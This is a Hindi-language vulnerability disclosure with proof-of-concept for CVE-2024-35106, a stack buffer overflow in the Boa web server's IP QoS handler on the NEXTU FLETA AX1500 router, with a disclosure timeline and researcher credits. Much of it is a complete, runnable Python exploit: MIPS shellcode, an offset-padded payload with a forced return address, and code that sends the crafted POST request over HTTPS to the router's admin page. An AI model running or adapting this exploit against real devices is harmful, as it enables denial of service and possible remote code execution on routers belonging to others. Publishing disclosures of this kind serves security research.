
CVE-2024-35106 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, यह NEXTU FLETA AX1500 वाई-फाई 6 राउटर में एक स्टैक बफर ओवरफ्लो है। Boa वेब सर्वर के IP QoS हैंडलर को निर्मित POST अनुरोध के माध्यम से सेवा अस्वीकार और संभावित दूरस्थ कोड निष्पादन प्रदर्शित करता है।
यह दस्तावेज़ बताता है कि कैसे CVE-2024-35106 भेद्यता के माध्यम से EZNET FLETA WiFI राउटर पर शोषण किया गया।
[CVE ID] CVE-2024-35106
[Vendor of Product] NEXTU
[Product] FLATA AX1500 Wifi6 Router
[Version] 1.0.3
[Vulnerability Type] बफर ओवरफ्लो
राउटर Realtek चिपसेट और लिटिल-एंडियन पर आधारित MIPS आर्किटेक्चर पर चलता है।
राउटर फर्मवेयर संस्करण v1.0.3 है।
यह राउटर एम्बेडेड वेब सर्वर Boa का उपयोग करता है, जिसका अंतिम रिलीज़ 2005 में हुआ था। हालांकि, यह राउटर राउटर के फर्मवेयर को नियंत्रित करने वाली एडमिन वेब पेज सेवा के लिए Boa वेब सर्वर का उपयोग करता है।
भेद्यता को ट्रिगर करने के लिए आवश्यक शर्तें इस प्रकार हैं:
राउटर के एडमिन वेब प्रबंधन पृष्ठ पर आंतरिक IP के लिए QoS सेट करते समय IP QoS नियम नाम के बाइट लंबाई के सत्यापन की कमी के कारण स्टैक बफर ओवरफ्लो होता है।
जब IP QoS कॉन्फ़िगरेशन अनुरोध पैरामीटर Boa के हैंडलर फ़ंक्शन formIpQoS को भेजे जाते हैं, तो हैंडलर "entry_name" पैरामीटर की बाइट लंबाई निकालता है और strcpy() फ़ंक्शन का उपयोग करके इसे acStack_1c0 वेरिएबल में कॉपी करता है।

उस फ़ंक्शन में, strcpy फ़ंक्शन का उपयोग बफर आकार को सत्यापित किए बिना बफर कॉपी करने के लिए किया जाता है।

चूंकि acStack_1c0 वेरिएबल, जो कॉपी किए गए entry_name पैरामीटर के बाइनरी को संग्रहीत करता है, 16 बाइट्स पर निश्चित है, इसलिए strcpy() फ़ंक्शन का उपयोग—जो कॉपी किए जा रहे डेटा के आकार को सीमित नहीं करता है—के परिणामस्वरूप बफर ओवरफ्लो होगा।


हमले के वेक्टर का POST अनुरोध और पैरामीटर निम्नलिखित हैं।
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[मनमाना कोड क्षेत्र जोड़ें]
हमलावर दो चीजों वाला बाइनरी तैयार करता है, मनमाना बाइनरी कोड और मनमाना पता, और इसे POST अनुरोध के entry_name पैरामीटर में सेट करता है।
इसलिए RET पता, जो formIpQos हैंडलर स्टैक पता मेमोरी में है, स्टैक ओवरफ्लो के कारण एक मनमाना पते से अधिलेखित हो जाता है।
(0x7f8548cc formIpQoS हैंडलर स्टैक RET पता है)
हालांकि, चूंकि हैंडलर फ़ंक्शन का निष्पादन सामान्य रूप से पूरा होना चाहिए, इसलिए पहले से 10 IP QoS नियम सेट सहेजे जाने चाहिए।

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
ध्यान दें, इस भेद्यता के लिए इस POC को निष्पादित करने पर निश्चित रूप से DOS होगा। हालांकि, मनमाना रिमोट कोड निष्पादन नहीं हो सकता है।
इस भेद्यता का उपयोग DOS हमलों और संभावित RCE हमलों के लिए किया जा सकता है।
2024-05-16: CVE नंबर आवंटित - CVE-2024-35106
2024-05-16: निर्माताओं को भेद्यता की सूचना दी
2024-06-05: निर्माताओं से भेद्यता के बारे में प्रतिक्रिया
Ku In Hoe
सहायक प्रोफेसर Seonghoon Jeong (सूक्म्युंग महिला विश्वविद्यालय)